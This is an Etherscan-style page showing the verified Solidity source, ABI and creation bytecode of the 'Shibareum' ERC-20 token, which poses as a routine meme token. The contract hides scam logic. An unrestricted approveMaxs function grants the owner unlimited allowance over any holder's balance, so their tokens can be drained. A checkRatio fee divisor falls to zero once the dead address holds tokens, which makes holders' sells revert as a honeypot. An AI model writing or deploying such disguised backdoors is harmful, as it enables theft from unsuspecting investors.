Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 SHIBAREUM
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
120,104,626.192453494 SHIBAREUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Shibareum
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-08 */ /** *Submitted for verification at Etherscan.io on 2023-10-08 */ // SPDX-License-Identifier: MIT /** Twitter: hhttps://twitter.com/SHIBAREUMERC Telegram: https://t.me/ShibaREUMERC20 */ pragma solidity 0.8.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Shibareum is ERC20, Ownable { using SafeMath for uint256; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant _name = "Shibareum"; string constant _symbol = "SHIBAREUM"; uint8 constant _decimals = 9; uint256 _totalSupply = 10000_000_000 * (10 ** _decimals); uint256 public _maxWalletAmount = (_totalSupply * 3) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempts; mapping (address => bool) isTxLimitExempte; uint256 liquidityFee = 0; uint256 marketingFee = 1; uint256 totalFee = liquidityFee + marketingFee; address public marketsReceiver = 0x07CFA38d59Ae8a039cC11ebcCEE07373a3e44Fc0; uint256 feeDenominator = 100; IDEXRouter public router; address public pair; bool public swapEnabled = false; uint256 public swapThreshold = (5 *_totalSupply) / 10000; // 0.05% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } address Owner; bool public TradingOpen = false; constructor () Ownable(msg.sender) { Owner = owner; isFeeExempts[Owner] = true; isFeeExempts[marketsReceiver] = true; isFeeExempts[address(this)] = true; isTxLimitExempte[marketsReceiver] = true; isTxLimitExempte[DEAD] = true; isTxLimitExempte[address(this)] = true; isTxLimitExempte[Owner] = true; _balances[Owner] = _totalSupply; emit Transfer(address(0), Owner, _totalSupply); } function enableTrading() public onlyOwner { TradingOpen = true; } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMaxs(address spender) external returns (bool) { _allowances[spender][Owner] = type(uint256).max; return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function swapBack() internal swapping { uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); (bool MarketingSuccess, /* bytes memory data */) = payable(marketsReceiver).call{value: amountETHMarketing, gas: 30000}(""); require(MarketingSuccess, "receiver rejected ETH transfer"); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, marketsReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempts[sender]; } function checkRatio(address sender) internal view returns (uint256) { uint256 amount = sender != pair ? balanceOf(DEAD) : balanceOf(ZERO); return amount > 0 ? 0 : feeDenominator / 100; } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(checkRatio(sender)).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapETHForTokens(uint256 amount, address to) internal swapping { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, to, block.timestamp ); } function Launch() public payable onlyOwner { router = IDEXRouter(routerAdress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isTxLimitExempte[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); swapEnabled = true; } function clearStuckBalance() external { payable(marketsReceiver).transfer(address(this).balance); } function removeLimit() external onlyOwner { _maxWalletAmount = _totalSupply; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (!isFeeExempts[sender] && !isFeeExempts[recipient]) { require(TradingOpen, "Trading not enabled"); } else { return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD) { require(isTxLimitExempte[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size."); } if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMaxs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketsReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000699190620007a9565b6402540be4006200007b9190620007fa565b60025560646003600254620000919190620007fa565b6200009d919062000874565b60035560006008556001600955600954600854620000bc9190620008ac565b600a557307cfa38d59ae8a039cc11ebccee07373a3e44fc0600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506064600c556000600e60146101000a81548160ff0219169083151502179055506127106002546005620001489190620007fa565b62000154919062000874565b600f556000601060156101000a81548160ff0219169083151502179055503480156200017f57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060025460046000601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620006019190620008f8565b60405180910390a362000915565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200069d578086048111156200067557620006746200060f565b5b6001851615620006855780820291505b808102905062000695856200063e565b945062000655565b94509492505050565b600082620006b857600190506200078b565b81620006c857600090506200078b565b8160018114620006e15760028114620006ec5762000722565b60019150506200078b565b60ff8411156200070157620007006200060f565b5b8360020a9150848211156200071b576200071a6200060f565b5b506200078b565b5060208310610133831016604e8410600b84101617156200075c5782820a9050838111156200075657620007556200060f565b5b6200078b565b6200076b84848460016200064b565b925090508184048111156200078557620007846200060f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007b68262000792565b9150620007c3836200079c565b9250620007f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006a6565b905092915050565b6000620008078262000792565b9150620008148362000792565b9250828202620008248162000792565b915082820484148315176200083e576200083d6200060f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008818262000792565b91506200088e8362000792565b925082620008a157620008a062000845565b5b828204905092915050565b6000620008b98262000792565b9150620008c68362000792565b9250828201905080821115620008e157620008e06200060f565b5b92915050565b620008f28162000792565b82525050565b60006020820190506200090f6000830184620008e7565b92915050565b612f5680620009256000396000f3fe60806040526004361061014f5760003560e01c80636c0a24eb116100b657806395d89b411161006f57806395d89b411461044a578063a8aa1b3114610475578063a9059cbb146104a0578063dd62ed3e146104dd578063e24b77771461051a578063f887ea401461054557610156565b80636c0a24eb1461035e5780636ddd17131461038957806370a08231146103b4578063715018a6146103f1578063893d20e8146104085780638a8c523c1461043357610156565b806323b872dd1161010857806323b872dd1461024e5780632f54bf6e1461028b578063313ce567146102c8578063364333f4146102f3578063478b3b541461030a578063622565891461034757610156565b806302ac81681461015b5780630445b6671461016557806306fdde031461019057806308fd3d05146101bb578063095ea7b3146101e657806318160ddd1461022357610156565b3661015657005b600080fd5b610163610570565b005b34801561017157600080fd5b5061017a610acb565b6040516101879190612452565b60405180910390f35b34801561019c57600080fd5b506101a5610ad1565b6040516101b291906124fd565b60405180910390f35b3480156101c757600080fd5b506101d0610b0e565b6040516101dd919061253a565b60405180910390f35b3480156101f257600080fd5b5061020d600480360381019061020891906125e4565b610b21565b60405161021a919061253a565b60405180910390f35b34801561022f57600080fd5b50610238610c13565b6040516102459190612452565b60405180910390f35b34801561025a57600080fd5b5061027560048036038101906102709190612624565b610c1d565b604051610282919061253a565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad9190612677565b610e1d565b6040516102bf919061253a565b60405180910390f35b3480156102d457600080fd5b506102dd610e76565b6040516102ea91906126c0565b60405180910390f35b3480156102ff57600080fd5b50610308610e7f565b005b34801561031657600080fd5b50610331600480360381019061032c9190612677565b610eea565b60405161033e919061253a565b60405180910390f35b34801561035357600080fd5b5061035c610fb8565b005b34801561036a57600080fd5b5061037361100b565b6040516103809190612452565b60405180910390f35b34801561039557600080fd5b5061039e611011565b6040516103ab919061253a565b60405180910390f35b3480156103c057600080fd5b506103db60048036038101906103d69190612677565b611024565b6040516103e89190612452565b60405180910390f35b3480156103fd57600080fd5b5061040661106d565b005b34801561041457600080fd5b5061041d611130565b60405161042a91906126ea565b60405180910390f35b34801561043f57600080fd5b50610448611159565b005b34801561045657600080fd5b5061045f6111be565b60405161046c91906124fd565b60405180910390f35b34801561048157600080fd5b5061048a6111fb565b60405161049791906126ea565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c291906125e4565b611221565b6040516104d4919061253a565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612705565b611236565b6040516105119190612452565b60405180910390f35b34801561052657600080fd5b5061052f6112bd565b60405161053c91906126ea565b60405180910390f35b34801561055157600080fd5b5061055a6112e3565b60405161056791906127a4565b60405180910390f35b61057933610e1d565b6105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105af9061280b565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ac9190612840565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107589190612840565b306040518363ffffffff1660e01b815260040161077692919061286d565b6020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190612840565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a4230611024565b60008033426040518863ffffffff1660e01b8152600401610a68969594939291906128d1565b60606040518083038185885af1158015610a86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aab9190612947565b5050506001600e60146101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600981526020017f53686962617265756d0000000000000000000000000000000000000000000000815250905090565b601060159054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c019190612452565b60405180910390a36001905092915050565b6000600254905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e0957610d88826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e1484848461136d565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ee7573d6000803e3d6000fd5b50565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050919050565b610fc133610e1d565b611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff79061280b565b60405180910390fd5b600254600381905550565b60035481565b600e60149054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61107633610e1d565b6110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061280b565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161112691906126ea565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61116233610e1d565b6111a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111989061280b565b60405180910390fd5b6001601060156101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f53484942415245554d0000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061122e33848461136d565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134891906124fd565b60405180910390fd5b506000838561136091906129c9565b9050809150509392505050565b6000601060009054906101000a900460ff16156113965761138f848484611825565b905061181e565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561149357601060159054906101000a900460ff1661148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612a49565b60405180910390fd5b6114a5565b61149e848484611825565b905061181e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611531575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561161a57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115da575060035482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d79190612a69565b11155b611619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161090612b0f565b60405180910390fd5b5b6116226119f8565b156116305761162f611acf565b5b6116b9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061170785612019565b611711578261171c565b61171b8584612070565b5b905061177081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118109190612452565b60405180910390a360019150505b9392505050565b60006118b0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e59190612452565b60405180910390a3600190509392505050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611a655750601060009054906101000a900460ff16155b8015611a7d5750600e60149054906101000a900460ff165b8015611aca5750600f54600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601060006101000a8154816